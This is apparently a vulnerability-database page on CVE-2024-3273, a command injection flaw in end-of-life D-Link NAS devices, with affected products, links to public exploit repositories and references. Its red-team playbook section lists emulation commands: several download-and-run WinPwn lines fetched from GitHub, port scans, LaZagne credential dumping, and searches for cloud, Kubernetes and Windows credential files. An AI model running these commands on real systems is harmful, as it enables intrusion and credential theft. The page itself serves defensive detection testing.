CVE-2024-3273
Overview
This vulnerability is a command injection flaw arising from improper input validation of the 'system' argument within the HTTP GET Request Handler component. The affected code resides in the /cgi-bin/nas_sharing.cgi endpoint of D-Link DNS-320L and related models. The root cause is unsanitized user input passed to a system-level command execution function, enabling injection of arbitrary commands.
Vulnerability Description
** UNSUPPORTED WHEN ASSIGNED ** A vulnerability, which was classified as critical, was found in D-Link DNS-320L, DNS-325, DNS-327L and DNS-340L up to 20240403. Affected is an unknown function of the file /cgi-bin/nas_sharing.cgi of the component HTTP GET Request Handler. The manipulation of the argument system leads to command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-259284. NOTE: This vulnerability only affects products that are no longer supported by the maintainer. NOTE: Vendor was contacted early and confirmed immediately that the product is end-of-life. It should be retired and replaced.
Impact
An unauthenticated attacker can remotely execute arbitrary system commands on affected D-Link NAS devices by exploiting this flaw. This allows full control over the device, including data access, configuration changes, and potential network pivoting. No user interaction or valid credentials are required, enabling widespread compromise of exposed devices. The vulnerability impacts devices that are end-of-life, increasing exposure risk due to lack of vendor support.
Solution
The vendor has confirmed the product is end-of-life and recommends retiring and replacing affected devices. No patches or firmware updates are available for the vulnerable versions of D-Link DNS-320L and related models. Users should consult the advisory at https://vuldb.com/?id.259284 for detailed information. Network segmentation and disabling remote management interfaces can serve as interim mitigations until replacement.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (23)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Dlink | Dns-320l Firmware | 1.01.0702.2013 |
cpe:2.3:o:dlink:dns-320l_firmware:1.01.0702.2013:*:*:*:*:*:*:*
|
|
|
Dlink | Dns-320l Firmware | 1.03.0904.2013 |
cpe:2.3:o:dlink:dns-320l_firmware:1.03.0904.2013:*:*:*:*:*:*:*
|
|
|
Dlink | Dns-320l Firmware | 1.11 |
cpe:2.3:o:dlink:dns-320l_firmware:1.11:*:*:*:*:*:*:*
|
|
|
Dlink | Dns-120 Firmware | N/A |
cpe:2.3:o:dlink:dns-120_firmware:-:*:*:*:*:*:*:*
|
|
|
Dlink | Dnr-202l Firmware | N/A |
cpe:2.3:o:dlink:dnr-202l_firmware:-:*:*:*:*:*:*:*
|
|
|
Dlink | Dns-315l Firmware | N/A |
cpe:2.3:o:dlink:dns-315l_firmware:-:*:*:*:*:*:*:*
|
|
|
Dlink | Dns-320 Firmware | N/A |
cpe:2.3:o:dlink:dns-320_firmware:-:*:*:*:*:*:*:*
|
|
|
Dlink | Dns-320lw Firmware | N/A |
cpe:2.3:o:dlink:dns-320lw_firmware:-:*:*:*:*:*:*:*
|
|
|
Dlink | Dns-321 Firmware | N/A |
cpe:2.3:o:dlink:dns-321_firmware:-:*:*:*:*:*:*:*
|
|
|
Dlink | Dnr-322l Firmware | N/A |
cpe:2.3:o:dlink:dnr-322l_firmware:-:*:*:*:*:*:*:*
|
|
|
Dlink | Dns-323 Firmware | N/A |
cpe:2.3:o:dlink:dns-323_firmware:-:*:*:*:*:*:*:*
|
|
|
Dlink | Dns-325 Firmware | 1.01 |
cpe:2.3:o:dlink:dns-325_firmware:1.01:*:*:*:*:*:*:*
|
|
|
Dlink | Dns-326 Firmware | N/A |
cpe:2.3:o:dlink:dns-326_firmware:-:*:*:*:*:*:*:*
|
|
|
Dlink | Dns-327l Firmware | 1.00.0409.2013 |
cpe:2.3:o:dlink:dns-327l_firmware:1.00.0409.2013:*:*:*:*:*:*:*
|
|
|
Dlink | Dns-327l Firmware | 1.09 |
cpe:2.3:o:dlink:dns-327l_firmware:1.09:*:*:*:*:*:*:*
|
|
|
Dlink | Dnr-326 Firmware | N/A |
cpe:2.3:o:dlink:dnr-326_firmware:-:*:*:*:*:*:*:*
|
|
|
Dlink | Dns-340l Firmware | 1.08 |
cpe:2.3:o:dlink:dns-340l_firmware:1.08:*:*:*:*:*:*:*
|
|
|
Dlink | Dns-343 Firmware | N/A |
cpe:2.3:o:dlink:dns-343_firmware:-:*:*:*:*:*:*:*
|
|
|
Dlink | Dns-345 Firmware | N/A |
cpe:2.3:o:dlink:dns-345_firmware:-:*:*:*:*:*:*:*
|
|
|
Dlink | Dns-726-4 Firmware | N/A |
cpe:2.3:o:dlink:dns-726-4_firmware:-:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (12)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Chocapikk/CVE-2024-3273
D-Link NAS CVE-2024-3273 Exploit Tool
|
Chocapikk | 100 | 23 | 2024-04-07 | View |
|
adhikara13/CVE-2024-3273
Exploit for CVE-2024-3273, supports single and multiple hosts
|
adhikara13 | 13 | 1 | 2024-04-07 | View |
|
Ap0dexMe0/CVE-2024-3273
D-Link NAS Command Execution Exploit
|
Ap0dexMe0 | 5 | 0 | 2024-04-10 | View |
|
K3ysTr0K3R/CVE-2024-3273-EXPLOIT
A PoC exploit for CVE-2024-3273 - D-Link Remote Code Execution RCE
|
K3ysTr0K3R | 5 | 0 | 2024-04-09 | View |
|
ThatNotEasy/CVE-2024-3273
D-Link NAS Command Execution Exploit
|
ThatNotEasy | 5 | 0 | 2024-04-10 | View |
|
askhatov21/Best-Practices-Cybersecurity-Otanata-Project
CVE-2024-3273 — Authorized Penetration Test Report D-Link DNS-320L NAS | Client: Otonata
|
askhatov21 | 0 | 0 | 2026-04-25 | View |
|
askhatov21/CP3418_BestPracticesCybersecurity_OTANATA_Project
CVE-2024-3273 — Authorized Penetration Test Report D-Link DNS-320L NAS | Client: Otonata
|
askhatov21 | 0 | 0 | 2026-04-25 | View |
|
yarienkiva/honeypot-dlink-CVE-2024-3273
Quick and dirty honeypot for CVE-2024-3273
|
yarienkiva | 0 | 0 | 2024-04-07 | View |
|
X-Projetion/CVE-2024-3273-D-Link-Remote-Code-Execution-RCE
CVE-2024-3273 - D-Link Remote Code Execution (RCE)
|
X-Projetion | 0 | 0 | 2024-09-21 | View |
|
mrrobot0o/CVE-2024-3273-
|
mrrobot0o | 0 | 0 | 2024-04-23 | View |
|
OIivr/Turvan6rkus-CVE-2024-3273
Turvanõrkuse CVE 2024 3273 analüüs: D-Link seadmete käsusüst
|
OIivr | 0 | 0 | 2024-05-05 | View |
|
LeopoldSkell/CVE-2024-3273
|
LeopoldSkell | 0 | 0 | 2024-04-16 | View |
Threat Feed
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CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (8)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-3273 |
| vuldb.com |
GitHub CVE
vdb-entry
technical-description
|
https://vuldb.com/?id.259284 |
| vuldb.com |
GitHub CVE
signature
permissions-required
|
https://vuldb.com/?ctiid.259284 |
| vuldb.com |
GitHub CVE
third-party-advisory
|
https://vuldb.com/?submit.304661 |
| github.com |
GitHub CVE
exploit
|
https://github.com/netsecfish/dlink |
| supportannouncement.us.dlink.com |
GitHub CVE
related
|
https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10383 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-3273 |
| greynoise.io |
NVD API
Third Party Advisory
|
https://www.greynoise.io/blog/cve-2024-3273-d-link-nas-rce-exploited-in-the-wild |